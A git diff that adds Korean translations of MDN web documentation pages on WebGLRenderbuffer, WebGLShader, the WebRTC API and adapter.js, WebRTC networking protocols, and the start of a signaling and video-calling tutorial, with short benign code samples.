
마음에 새겨야 할 것들

+ + + +

일반적인 성능 팁들

+ + diff --git a/files/ko/web/api/webglrenderbuffer/index.html b/files/ko/web/api/webglrenderbuffer/index.html new file mode 100644 index 0000000000..6cd95fc536 --- /dev/null +++ b/files/ko/web/api/webglrenderbuffer/index.html @@ -0,0 +1,64 @@ +--- +title: WebGLRenderbuffer +slug: Web/API/WebGLRenderbuffer +tags: + - 레퍼런스 + - 웹지엘 +translation_of: Web/API/WebGLRenderbuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderbuffer 인터페이스는 WebGL API 의 부분입니다. 그리고 이미지를 담거나 렌더링 연산의 소스나 타겟이 될 수 있는 버퍼를 말합니다. 

+ +

설명

+ +

WebGLRenderbuffer 오브젝트는 메소드나 프로퍼티를 정의 하지 않으며 직접적으로 접근할 수 없습니다.  When working with WebGLRenderbuffer 오브젝트와 작업하려면 다음의 {{domxref("WebGLRenderingContext")}} 메소드가 도움이 될 것입니다. 

+ + + +

+ +

렌더 버퍼 만들기

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createRenderbuffer();
+
+ +

스펙

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.7", "WebGLRenderbuffer")}}{{Spec2('WebGL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.WebGLRenderbuffer")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/webglshader/index.html b/files/ko/web/api/webglshader/index.html new file mode 100644 index 0000000000..b1bce2dc08 --- /dev/null +++ b/files/ko/web/api/webglshader/index.html @@ -0,0 +1,171 @@ +--- +title: WebGLShader +slug: Web/API/WebGLShader +translation_of: Web/API/WebGLShader +--- +
{{APIRef("WebGL")}}
+ +
WebGLShader 는 WebGL API 의 일부이며 정점 혹은 프래그먼트 셰이더가 될 수 있다. {{domxref("WebGLProgram")}} 는 두 타입의 셰이더 모두를 요구한다.
+ +
 
+ +

설명

+ +

WebGLShader 를 생성하려면 {{domxref("WebGLRenderingContext.createShader")}}를 사용한다. 그러고 나서는  {{domxref("WebGLRenderingContext.shaderSource()")}}를 사용해서 GLSL 소스 코드를 연결한다. 마지막으로{{domxref("WebGLRenderingContext.compileShader()")}}를 호출하고 셰이더를 컴파일한다. 이 시점에서 WebGLShader 는 여전히 사용할 수 있는 형식은 아니고{{domxref("WebGLProgram")}}에 부착되어야 한다.

+ +
function createShader (gl, sourceCode, type) {
+  // 셰이더 타입 gl.VERTEX_SHADER 또는 gl.FRAGMENT_SHADER 중 하나를 컴파일한다.
+  var shader = gl.createShader( type );
+  gl.shaderSource( shader, sourceCode );
+  gl.compileShader( shader );
+
+  if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) {
+    var info = gl.getShaderInfoLog( shader );
+    throw "Could not compile WebGL program. \n\n" + info;
+  }
+}
+
+ +

셰이더 부착에 관한 정보는 {{domxref("WebGLProgram")}} 를 참고한다.

+ +

예시들

+ +

정점 셰이더 생성하기

+ +

셰이더 소스 코드 문자열들을 작성하고 접근하는 많은 다른 방법들이 있다는 점에 주목하라. 여기의 예는 오직 설명을 목적으로 한다.

+ +
var vertexShaderSource =
+  "attribute vec4 position;\n"
+  "void main() {\n"+
+  "  gl_Position = position;\n"+
+  "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var vertexShader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER)
+
+ +

프래그먼트 셰이더 생성하기

+ +
var fragmentShaderSource =
+  "void main() {\n"+
+  "  gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n"+
+  "}\n";
+
+// 위 예시로부터 createShader 함수를 사용한다.
+var fragmentShader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER)
+
+ +

명세들

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebGL', "#5.8", "WebGLShader")}}{{Spec2('WebGL')}}Initial definition.
+ +

브라우저 호환성

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
Available in workers{{CompatNo}}{{CompatGeckoDesktop(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatUnknown}}128.1
Available in workers{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.

+ +

See also

+ + diff --git a/files/ko/web/api/webrtc_api/adapter.js/index.html b/files/ko/web/api/webrtc_api/adapter.js/index.html new file mode 100644 index 0000000000..95b8400d3d --- /dev/null +++ b/files/ko/web/api/webrtc_api/adapter.js/index.html @@ -0,0 +1,40 @@ +--- +title: Improving compatibility using WebRTC adapter.js +slug: Web/API/WebRTC_API/adapter.js +translation_of: Web/API/WebRTC_API/adapter.js +--- +

{{WebRTCSidebar}}

+ +

WebRTC 사양은 비교적 인정적이지만, 모든 브라우저가 모든 기능이 구현되어 있는 것은 아니다. 또한, 일부 브라우저는 여전히 일부 혹은 모든 WebRTC API에 접두사가 붙어 있는상황이다. 이러한 문제에 대해 수동적으로 코딩을 할 수 있지만, 더 쉬운 방법이 있다.WebRTC 단체는 다른 브라우저의 WebRTC 구현에서 호환성 문제를 해결하기 위해 WebRTC 어댑터를 GitHub에서 제공한다. 어댑터는 WebRTC가 지원되는 모든 브라우저에서 "그냥 작동"되도록 당신이 작성한 코드가 사양에 적합하도록 해 주는 JavaScript 코드 모음이다. 더이상 접두사 API를 조건부로 사용하거나 다른 해결 방법을 구현할 필요가 없다.

+ +
+

참고: WebRTC 및 지원 브라우저에서 API 용어의 기능과 이름 지정이 지속적으로 변경되고 있기 때문에, 일반적으로 이 어댑터의 사용을 권장한다.

+
+ +

이 어댑터는 BSD 스타일 라이선스로 제공된다.

+ +

What adapter.js does

+ +

For each version of each browser that supports WebRTC, adapter.js implements the needed polyfills, establishes the non-prefixed names of APIs, and applies any other changes needed to make the browser run code written to the WebRTC specification.

+ +

For example, on Firefox versions older than 38, the adapter adds the {{domxref("RTCPeerConnection.urls")}} property; Firefox doesn't natively support this property until Firefox 38, while on Chrome, the adapter adds support for the {{jsxref("Promise")}} based API is added if it's not present. These are just a couple of examples; there are of course other adjustments made for you by the shim.

+ +

The WebRTC adapter currently supports Mozilla Firefox, Google Chrome, Apple Safari, and Microsoft Edge.

+ +

Using adapter.js

+ +

In order to use adapter.js, you need to include adapter.js on any page that uses WebRTC APIs:

+ +
    +
  1. Download a copy of the latest version of adapter.js from GitHub.
  2. +
  3. Place it in your site's directory structure (such as in your scripts directory).
  4. +
  5. Include adapter.js in your project: <script src="adapter.js"></script>
  6. +
  7. Write your code, using WebRTC APIs per the specification, knowing that your code should work on all browsers.
  8. +
  9. Keep in mind that even a good shim like this one doesn't mean you don't need to test your code on different browsers (and ideally different versions of each browser).
  10. +
+ +

See also

+ + diff --git a/files/ko/web/api/webrtc_api/index.html b/files/ko/web/api/webrtc_api/index.html new file mode 100644 index 0000000000..6ecafcfd84 --- /dev/null +++ b/files/ko/web/api/webrtc_api/index.html @@ -0,0 +1,225 @@ +--- +title: WebRTC API +slug: Web/API/WebRTC_API +tags: + - API + - Audio + - Landing + - Media + - NeedsTranslation + - Networking + - TopicStub + - Video + - WebRTC + - WebRTC API + - streaming +translation_of: Web/API/WebRTC_API +--- +
{{APIRef("WebRTC")}}
+ +

WebRTC(Web Real-Time Communication)은 웹 애플리케이션과 사이트가 중간자 없이 브라우저 간에 오디오나 영상 미디어를 포착하고 마음대로 스트림할 뿐 아니라, 임의의 데이터도 교환할 수 있도록 하는 기술입니다. WebRTC를 구성하는 일련의 표준들은 플러그인이나 제 3자 소프트웨어 설치 없이 종단 간 데이터 공유와 화상 회의를 가능하게 합니다.

+ +

이를 위하여 WebRTC는 상호 연관된 API와 프로토콜로 구성되어 함께 작동합니다. 이 문서에서는 WebRTC의 기본을 이해하고, 설정하며, 데이터와 미디어 연결을 위해 사용할 수 있게 도와줄 것입니다.

+ +

상호 운용성

+ +

WebRTC의 구현이 계속 진화하고 있으며 각 브라우저마다 다른 코덱 및 기타 미디어 기능에 대한 지원 수준이 다르기 때문에, 코드 작성을 시작하기 전에 Google에서 제공하는 Adapter.js 라이브러리를 사용하는 것을 강력하게 고려해보아야합니다.

+ +

Adapter.js는 shim 및 polyfill을 사용하여 다양한 플랫폼에서 WebRTC 구현 간의 다양한 차이점을 없애줍니다. 또한 WebRTC 개발 프로세스를 전체적으로 쉽게 수행 할 수 있도록 접두사와 다른 이름 지정의 차이점을 처리하며보다 광범위하게 호환되는 결과를 제공합니다. 라이브러리는 NPM 패키지로도 제공됩니다.

+ +

Adapter.js에 대한 자세한 내용은 Improving compatibility using WebRTC adapter.js를 참조하십시오.

+ +

WebRTC 개념 및 사용법

+ +

WebRTC는 여러가지 목적으로 사용될 수 있으며, Media Capture and Streams API 와 상당히 많은 부분이 겹친다. 이 둘은 서로 상호작용을 하면서 웹에 강력한 멀티미디어 기능을 제공한다. 예를들어 음성, 화상 회의, 파일 교환, 계정 관리DTMF 시그널을 이용해 legacy telephone 시스템 interfacing 등이 있다. 피어들 간의 커넥션이 만들어지는데 어떤 드라이버나 플러그인도 필요하지 않는다. 그리고 가끔은 중개 서버 없이도 만들어질 수 있다.

+ +

두 피어 간의 커넥션은 RTCPeerConnection인터페이스를 통해 이루어진다. 커넥션이 이루어지고 열리면, 미디어 스트림들 (MediaStream) 과 데이터 채널(RTCDataChannel)들을 커넥션에 연결할 수 있다.

+ +

미디어 스트림들은 미디어 정보를 가지는 다수의 트랙들로 구성될 수 있다. MediaStreamTrack인터페이스 object를 베이스로 하는 트랙은 음성, 영상 및 텍스트(제목 또는 챕터 이름 조차도 포함 가능하다)를 포함하는 다양한 미디어 데이터의 타입 중 하나를 포함 할 수 있다. 대부분의 스트림들은 적어도 한 개 이상의 음성(영상) 트랙으로 구성되어 있고, live 미디어(웹 캠 등)나 저장된(스트리밍) 미디어들을 전송하고 받을 수 있다.

+ +

또한, 임의의 바이너리 데이터(이미지든 텍스트든 파일이든 모두 가능하다는 뜻)를 RTCDataChannel인터페이스를 통해 피어들 간에 교환할 수 있다. 이것은 back-channel 정보들, 메타데이터 교환, 게임 status 패킷들, 파일 교환, 데이터 교환을 위한 primary channel 등에 쓰일 수 있다.

+ +

더 자세한 내용은 밑에 guide와 tutorial을 참조하길 바란다

+ +

WebRTC 인터페이스

+ +

WebRTC는 다양한 작업을 수행하기 위해 함께 동작하는 인터페이스를 제공하기때문에 아래 목록의 인터페이스들을 카테고리별로 나누었다. 알파벳 순으로 정리된 목록은 사이드 바를 참조하라.

+ +

연결 설정 및 관리

+ +

이 인터페이스들을 사용하여 WebRTC 연결을 설정할 수 있고, 연결을 맺을 수 있으며 WebRTC 연결을 관리할 수 있다.

+ +
+
{{domxref("RTCPeerConnection")}}
+
로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 나타낸다. 두 피어 간의 효율적인 데이터 스트리밍을 처리하는데 사용된다.
+
{{domxref("RTCDataChannel")}}
+
연결된 두 피어간의 양방향 데이터 채널을 나타낸다.
+
{{domxref("RTCDataChannelEvent")}}
+
{{domxref("RTCDataChannel")}}을 {{domxref("RTCPeerConnection")}}에 연결하는 동안 발생하는 이벤트를 나타낸다. 이 인터페이스와 함께 전송되는 유일한 이벤트는 {{event("datachannel")}}이다.
+
{{domxref("RTCSessionDescription")}}
+
세션의 매개 변수를 나타냅니다. 각 RTCSessionDescription는 세션의  {{Glossary("SDP")}} 기술자(descriptor)의 기술 제안 / 응답 협상 과정의 일부를 나타내는 설명  {{DOMxRef("RTCSessionDescription.type", "type")}}으로 구성되어 있습니다.
+
{{domxref("RTCStatsReport")}}
+
연결 또는 연결의 개별 트랙에 대한 통계를 자세히 설명하는 정보를 제공합니다. {{domxref("RTCPeerConnection.getStats()")}}를 호출하여 보고서를 얻을 수 있습니다.
+
{{domxref("RTCIceCandidate")}}
+
{{domxref("RTCPeerConnection")}} 설정을 위한 후보 인터넷 연결 설정 (ICE; internet connectivity establishment) 서버를 나타냅니다.
+
{{domxref("RTCIceTransport")}}
+
인터넷 연결 설정 (ICE) 전송에 대한 정보를 나타냅니다.
+
{{domxref("RTCPeerConnectionIceEvent")}}
+
대상이있는 ICE 후보와 관련하여 발생하는 이벤트 (일반적으로 {{domxref("RTCPeerConnection")}})를 나타냅니다. {{event ( "icecandidate")}} 유형의 이벤트 만 있습니다.
+
{{domxref("RTCRtpSender")}}
+
{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 인코딩 및 전송을 관리합니다.
+
{{domxref("RTCRtpReceiver")}}
+
{{domxref ( "RTCPeerConnection")}}에서 {{domxref ( "MediaStreamTrack")}}의 데이터 수신 및 디코딩을 관리합니다.
+
{{domxref("RTCTrackEvent")}}
+
새롭게 수신된 {{domxref ( "MediaStreamTrack")}}이 생성되고 관련 {{domxref ( "RTCRtpReceiver")}} 개체가 {{domxref ( "RTCPeerConnection")}} 개체에 추가되었음을 나타냅니다.
+
{{DOMxRef("RTCSctpTransport")}}
+
스트림 제어 전송 프로토콜(Stream Control Transmission Protocol, {{Glossary("SCTP")}}) 전송을 설명하는 정보를 제공하고, 모든 RTCPeerConnection 데이터 채널에 대한 SCTP 패킷이 송수신되는 기본 데이터그램 전송 보안 계층 프로토콜(Datagram Transport Layer Security, {{Glossary("DTLS")}}) 전송에 접근하기 위한 방법을 제공합니다.
+
+

Dictionaries

+
+
{{DOMxRef("RTCConfiguration")}}
+
RTCPeerConnection 구성 옵션을 제공하는데 사용됩니다.
+
{{DOMxRef("RTCIceServer")}}
+
Defines how to connect to a single {{Glossary("ICE")}} server (such as a {{Glossary("STUN")}} or {{Glossary("TURN")}} server).
+
{{DOMxRef("RTCRtpContributingSource")}}
+
Contains information about a given contributing source (CSRC) including the most recent time a packet that the source contributed was played out.
+
+

Types

+
+
{{DOMxRef("RTCSctpTransportState")}}
+
Indicates the state of an {{DOMxRef("RTCSctpTransport")}} instance.
+
{{DOMxRef("RTCSessionDescriptionCallback")}}
+
The RTCSessionDescriptionCallback is passed into the {{DOMxRef("RTCPeerConnection")}} object when requesting it to create offers or answers.
+
+ +

식별자와 보안

+ +

WebRTC API에는 보안 및 식별자를 관리하기위한 여러 인터페이스가 포함되어 있습니다.

+ +
+
{{domxref("RTCIdentityProvider")}}
+
사용자 에이전트가 Identity Assertion을 생성 또는 검증을 요청할수 있도록합니다.
+
{{domxref("RTCIdentityAssertion")}}
+
Represents the identity of the a remote peer of the current connection. If no peer has yet been set and verified this interface returns null. Once set it can't be changed.
+
{{domxref("RTCIdentityProviderRegistrar")}}
+
식별자 공급자(idP; identity provider)를 제공합니다.
+
{{domxref("RTCIdentityEvent")}}
+
Represents an identity assertion generated by an identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. The only event sent with this type is {{event("identityresult")}}.
+
{{domxref("RTCIdentityErrorEvent")}}
+
Represents an error associated with the identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. Two events are sent with this type: {{event("idpassertionerror")}} and {{event("idpvalidationerror")}}.
+
{{domxref("RTCCertificate")}}
+
Represents a certificate that an {{domxref("RTCPeerConnection")}} uses to authenticate.
+
+ +

Telephony

+ +

이러한 인터페이스들은 공중 전화망 (PTSN; public-switched telephone networks)과의 상호 작용과 관련이 있습니다

+ +
+
{{domxref("RTCDTMFSender")}}
+
Manages the encoding and transmission of dual-tone multi-frequency (DTMF) signaling for an {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCDTMFToneChangeEvent")}}
+
Indicates an occurrence of a of dual-tone multi-frequency (DTMF). This event does not bubble (except where otherwise stated) and is not cancelable (except where otherwise stated).
+
+ +

Guides

+ +
+
Introduction to WebRTC protocols
+
이 문서는 WebRTC API가 구축된 기반이 되는 프로토콜을 소개한다.
+
WebRTC connectivity
+
WebRTC 커넥션의 작동 방식 및 다양한 프로토콜과 인터페이스를 함께 사용하여 강력한 커뮤니케이션 앱을 만드는 방법에 대한 가이드이다.
+
Lifetime of a WebRTC session
+
WebRTC는 임의 데이터, 오디오, 비디오 또는 이들의 모든 조합에 대한 피어 투 피어 커뮤니케이션을 브라우저 어플리케이션으로 구축하도록 해준다. 이 문서에서는, 모든 방법으로 커넥션을 설정하는 것에서 부터 더 이상 필요하지 않을 때 커넥션을 닫는 것까지 WebRTC 세션의 수명에 대해 살펴볼 것이다.
+
Signaling and two-way video calling
+
여러 사용자들 간의 화상통화를 할 수 있는 Websocket을 기반으로한 튜토리얼 및 예제이다. 채팅 서버의 웹소켓 커넥션은 WebRTC의 시그널링을 위해 사용된다.
+
Codecs used by WebRTC
+
A guide to the codecs which WebRTC requires browsers to support as well as the optional ones supported by various popular browsers. Included is a guide to help you choose the best codecs for your needs.
+
Using WebRTC data channels
+
이 가이드는 두 피어 사이의 임의의 데이터를 교환하기 위해 피어 커넥션와 관련된 {{domxref("RTCDataChannel")}}을 사용할 수 있는 방법을 다룬다.
+
Using DTMF with WebRTC
+
구식 전화 시스템에 연결되는 게이트웨이와 상호 작용하기 위한 WebRTC의 지원에는 {{domxref("RTCDTMFSender")}} 인터페이스를 사용하여 DTMF 톤을 보내는 기능이 포함된다. 이 가이드는 어떻게 그렇게 하는지 보여준다.
+
+ +

Tutorials

+ +
+
Improving compatibility using WebRTC adapter.js
+
The WebRTC organization provides on GitHub the WebRTC adapter to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.
+
Taking still photos with WebRTC
+
This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.
+
A simple RTCDataChannel sample
+
The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the WebSocket API, so that the same programming model can be used for each.
+
+ +

Resources

+ +

Protocols

+ +

WebRTC-proper protocols

+ + + + + + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0')}}{{Spec2('WebRTC 1.0')}}The initial definition of the API of WebRTC.
{{SpecName('Media Capture')}}{{Spec2('Media Capture')}}The initial definition of the object conveying the stream of media content.
{{SpecName('Media Capture DOM Elements')}}{{Spec2('Media Capture DOM Elements')}}The initial definition on how to obtain stream of content from DOM Elements
+ +

In additions to these specifications defining the API needed to use WebRTC, there are several protocols, listed under resources.

+ + + + diff --git a/files/ko/web/api/webrtc_api/protocols/index.html b/files/ko/web/api/webrtc_api/protocols/index.html new file mode 100644 index 0000000000..0c417aa619 --- /dev/null +++ b/files/ko/web/api/webrtc_api/protocols/index.html @@ -0,0 +1,57 @@ +--- +title: WebRTC 프로토콜 소개 +slug: Web/API/WebRTC_API/Protocols +translation_of: Web/API/WebRTC_API/Protocols +--- +
{{WebRTCSidebar}}{{draft}}
+ +

이 글은 WebRTC API에 대한 프로토콜을 소개하기 위해 작성 되었습니다.

+ +

ICE

+ +

Interactive Connectivity Establishment (ICE) 는 브라우저가 peer를 통한 연결이 가능하도록 하게 해주는 프레임워크입니다. Peer A에서 Peer B까지 단순하게 연결하는 것으로는 작동하지 않는 것에 대한 이유는 많이 있습니다. 연결을 시도하는 방화벽을 통과해야하기도 하고, 단말에 퍼블릭 IP가 없다면 유일한 주소값을 할당해야할 필요도 있으며 라우터가 peer간의 직접연결을 허용하지 않을 때에는 데이터를 릴레이해야할 경우도 있습니다. ICE는 이러한 작업을 수행하기 위해 STUND과 TURN 서버 둘다 혹은 하나의 서버를 사용합니다.

+ +

STUN

+ +

Session Traversal Utilities for NAT (STUN) (단축어 안의 단축어) 는 당신의 공개 주소(public address)를 발견하거나 peer간의 직접 연결을 막는 등의 라우터의 제한을 결정하는 프로토콜입니다.

+ +

클라이언트는 인터넷을 통해 클라이언트의 공개주소와 라우터의 NAT 뒤에 있는 클라이언트가 접근가능한지에 대한 답변을 위한 요청을 STUN서버에 보냅니다.

+ +

An interaction between two users of a WebRTC application involving a STUN server.

+ +

NAT

+ +

Network Address Translation (NAT) 는 단말에 공개 IP주소를 할당하기 위해 사용됩니다. 라우터는 공개 IP 주소를 갖고 있고 모든 단말들은 라우터에 연결되어 있으며 비공개 IP주소(private IP Address)를 갖고 있습니다. 요청은 단말의 비공개 주소로부터 라우터의 공개 주소와 유일한 포트를 기반으로 번역될 것입니다. 이러한 경유로 각각의 단말이 유일한 공개 IP 없이 인터넷 상에서 검색 될 수 있는 방법입니다.

+ +

어떠한 라우터들은 네트워크에 연결할수 있는 제한을 갖고 있습니다. 따라서 STUN서버에 의해 공개 IP주소를 발견한다고 해도 모두가 연결을 할수 있다는 것은 아닙니다. 이를 위해 TURN이 필요합니다.

+ + + +

TURN

+ +

몇몇의 라우터들은 Symmetric NAT이라고 불리우는 제한을 위한 NAT을 채용하고 있습니다. 이 말은 peer들이 오직 이전에 연결한 적 있는 연결들만 허용한다는 것입니다. 

+ +

Traversal Using Relays around NAT (TURN) 은 TURN 서버와 연결하고 모든 정보를 그 서버에 전달하는 것으로 Symmetric NAT 제한을 우회하는 것을 의미합니다. 이를 위해 TURN 서버와 연결을 한 후 모든 peer들에게 저 서버에 모든 패킷을 보내고 다시 나에게 전달해달라고 해야 합니다. 이것은 명백히 오버헤드가 발생하므로 이 방법은 다른 대안이 없을 경우만 사용하게 됩니다.

+ +

An interaction between two users of a WebRTC application involving STUN and TURN servers.

+ +

SDP

+ +

Session Description Protocol (SDP) 은 해상도나 형식, 코덱, 암호화등의 멀티미디어 컨텐츠의 연결을 설명하기 위한 표준입니다. 이러한 것이 두개의 peer가 다른 한쪽이 데이터가 전송되고 있다는 것을 알게 해줍니다. 이것은 기본적으로 미디어 컨텐츠 자체가 아닌 컨텐츠에 대한 메타데이터 설명이 됩니다. 

+ +

기술적으로 보자면 SDP 는 프로토콜이 아닙니다. 그러나 데이터 포멧은 디바이스간의 미디어를 공유하기 위한 연결을 설명하기 위해 사용됩니다.

+ +

SDP의 문서화는 다른 웹상에서도 잘되어 있으므로 이 문서에서는 간단히 소개하는 것으로 마무리 짓도록 하겠습니다.

+ +

구조

+ +

SDP는 한줄 이상의 UTF-8 텍스트로 구성됩니다. 이 텍스트의 시작은 한글자로 구성되며 한글자 뒤에 등호기호 ("=")가 옵니다. 그리고 그 뒤에는 포멧에 맞게 값이나 설명이 적혀있습니다. 한글자로 시작되는 그 글자는 일반적으로 "letter-lines"를 뜻합니다. 예를들어 미디어 설명을 제공하는 것이라면 "m" 이라고 적어두고 이것은 m-lines을 뜻합니다.

+ +

자세히

+ +

SDP에 대해 더 알고 싶으시다면 아래 유용한 자료들이 있습니다.

+ + diff --git a/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html new file mode 100644 index 0000000000..012c96f114 --- /dev/null +++ b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -0,0 +1,651 @@ +--- +title: Signaling and video calling +slug: Web/API/WebRTC_API/Signaling_and_video_calling +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +--- +

{{WebRTCSidebar}} 

+ +
+

s이 글은 편집 및 검토가 필요하다. 도움을 줄 수 있는 방법을 살펴보자. 

+ +

WebRTC는 아직까지 실험적인 기술이다.
+ 일부의 기술 스펙이 안정화가 되지 않았기 때문에 각 브라우져에서 사용가능한 호환성 정보를 확인해야한다. 또한, 기술의 문법과 패턴들은 스펙이 바뀌는 것처럼 브라우져의 버전이 높아진다면 변경될 수 있다.

+
+ +

Summary  

+ +

WebRTC 는 리얼 타임 음성, 영상, 데이터 교환을 할 수 있는 완전한 p2p 기술이다. 다른 곳에서 논의한 것 처럼 서로 다른 네트워크에 있는 2개의 디바이스들을 서로 위치시키기 위해서는, 각 디바이스들의 위치를 발견하는 방법과 미디어 포맷 협의가 필요하다. 이 프로세스를 시그널링 signaling 이라 부르고 각 디바이스들을 상호간에 동의된 서버(socket.io 혹은 websocket을 이용한 서버)에 연결시킨다. 이 서버는 각 디바이스들이 negotiation(협의) 메세지들을 교환할 수 있도록 한다.

+ +

이 글에서 우리는 더 나아가 유저들간에 양방향으로 화상 통화가 되는 예제인 WebSocket chat(웹소켓 문서를 작성하기 위해 만들어졌으며, 링크는 곧 활성화 될 것이다. 아직은 온라인으로 테스트가 불가능하다.)을 작동이 되도록 만들 예정이다. 이것에 관해 샘플 을 확인해 보거나 Github에서 전체 프로젝트를 확인해볼 수 있다.

+ +
+

깃헙에 있는 테스트 서버 코드는 앞으로 공부할 예제 코드보다 최신 버전이다. 이 글은 현재 업데이트 진행 중이며, 곧 완료될 예정이다. 업데이트가 완료된다면 이 글을 사라질 것이다.

+
+ +
+

앞으로 나올 예제들은 promise 를 사용한다. 만약 너가 이것을 잘 모른다면 이 글을 읽어 보길 바란다.

+
+ +

The signaling server

+ +

두 디바이스들 사이에 WebRTC 커넥션을 만들기 위해, 인터넷 네트워크에서 그 둘을 연결 시키는 작업을 해줄 signaling server 가 필요하다. 어떻게 이 서버를 만들고 실제로 시그널링 과정이 어떻게 되는지 살펴보자.

+ +

가장 먼저, 시그널링 서버 자체가 필요하다. WebRTC는 시그널링 정보에 관한 transport 메커니즘을 제시하진 않는다. 두 피어들 사이에서 해리포터의 부엉이처럼 시그널링에 관련된 정보들을 전달해줄 수 있는 것이면 WebSocket 이든 XMLHttpRequest 든 상관없다.

+ +

여기서 중요한 점은 시그널링 서버는 시그널링 데이터 내용을 몰라도 된다는 것이다. 비록 이것은 SDP 이지만, 몰라도 큰 문제가 되진 않는다. 메세지의 내용들은 그저 시그널링 서버를 통해 상대편으로 가기만 하면된다. 중요한 점은 ICE subsystem이 신호 데이터를 다른 피어에게 보내도록 지시하면, 다른 피어는 이 정보를 수신하여 자체 ICE subsystem에 전달하는 방법을 알고 있다는 것이다.

+ +

Readying the chat server for signaling

+ +

이 chat server 는 클라이언트와 서버 사이에 WebSocket API을 통해 JSON string으로 데이터를 전송한다. 서버는 새로운 유저를 등록하는 것, username을 세팅하는 것, 채팅 메세지를 전송하는 것 등등의 작업들을 하기 위해 다양한 메세지 타입들을 다룬다. 시그널링과 ICE negotiation 을 서버가 처리하기 위해서 코드를 작성해야한다. 모든 로그인된 유저들에게 브로드캐스팅하는 것이 아니라, 특정한 유저에게 직접 메세지를 전달해야한다. 그리고 서버가 따로 처리할 필요 없이, 수신된 원하지 않은 메세지 타입들을 처리한다. 이를 통해 여러 서버를 만들 필요없이 동일한 서버를 이용하여 시그널 메시지를 보낼 수 있다. 이 개념은 WebRTC가 아니라 WebSocket에 관한 개념이다.

+ +

이제, WebRTC 시그널링을 지원하는 chat server를 만들기 위해 어떻게 해야하는지 보자. 앞으로 나오는 코드들은 chatserver.js 안에 있는 코드이다.

+ +

우선 sendToOneUser()함수를 추가하자. 이름이 말하듯, stringified JSON 메세지를 특정한 유저에게 보내는 것이다.

+ +
function sendToOneUser(target, msgString) {
+  var isUnique = true;
+  var i;
+
+  for (i=0; i<connectionArray.length; i++) {
+    if (connectionArray[i].username === target) {
+      connectionArray[i].sendUTF(msgString);
+      break;
+    }
+  }
+}
+ +

이 함수는 연결된 유저 리스트를 확인하면서 특정한 username을 가지는 유저을 찾고, 이 유저에게 메세지를 보낸다. 함수의 인자로 들어가는 메시지 msgString은 stringified JSON object 이다. Stringified 가 아닌 원본의 메세지 object를 받도록 해도 되지만, JSON이 더 유용하고 편하다. 이 메세지는 이미 stringified 된 상태로 함수에 전달되기 때문에, 더 이상의 메세지에 관한 처리 없이 메세지를 그대로 보내기만 하면 된다. 

+ +

원본 chat demo는 특정 유저에게 메세지를 보내는 것을 지원하지 않는다. Main WebSocket message handler를 수정해야 이것이 가능하게 되며, 구체적으로는connection.on()함수의 마지막 부분을 수정하면 된다.

+ +
if (sendToClients) {
+  var msgString = JSON.stringify(msg);
+  var i;
+
+  // If the message specifies a target username, only send the
+  // message to them. Otherwise, send it to every user.
+  if (msg.target && msg.target !== undefined && msg.target.length !== 0) {
+    sendToOneUser(msg.target, msgString);
+  } else {
+    for (i=0; i<connectionArray.length; i++) {
+      connectionArray[i].sendUTF(msgString);
+    }
+  }
+}
+ +

이 코드는 메세지에서 target 특성이 정의되었는지 체크한다. 이 특성은 메세지를 전달하고 싶은 사람의 username으로 정의할 수 있다. 만약 target파라미터가 존재한다면, sendToOneUser()함수를 콜하면서 그 유저에게 메세지를 전송한다. 그렇지 않다면, 모든 유저에게 메세지를 브로드케스트를 한다.

+ +

위에 있는 코드는 별도의 수정이 필요 없이 임의의 메세지 타입들을 보낼 수 있다. 클라이언트들은 이제 특정한 유저에게 unknown 타입의 메세지도 보낼수 있고, 시그널링 메세지를 원하는 대로 보낼 수 있다. 구체적인 내용은 다음을 살펴보자.

+ +

Designing the signaling protocol

+ +

이제 우리는 메세지를 교환하는 메커니즘을 만들었다. 이제 메세지들을 어떻게 구성할지에 대한 프로토콜이 필요하다. 이것은 여러 가지 방법으로 가능한데, 여기서 다루는 것은 그 중 하나의 시그널링 메세지 구조이다.

+ +

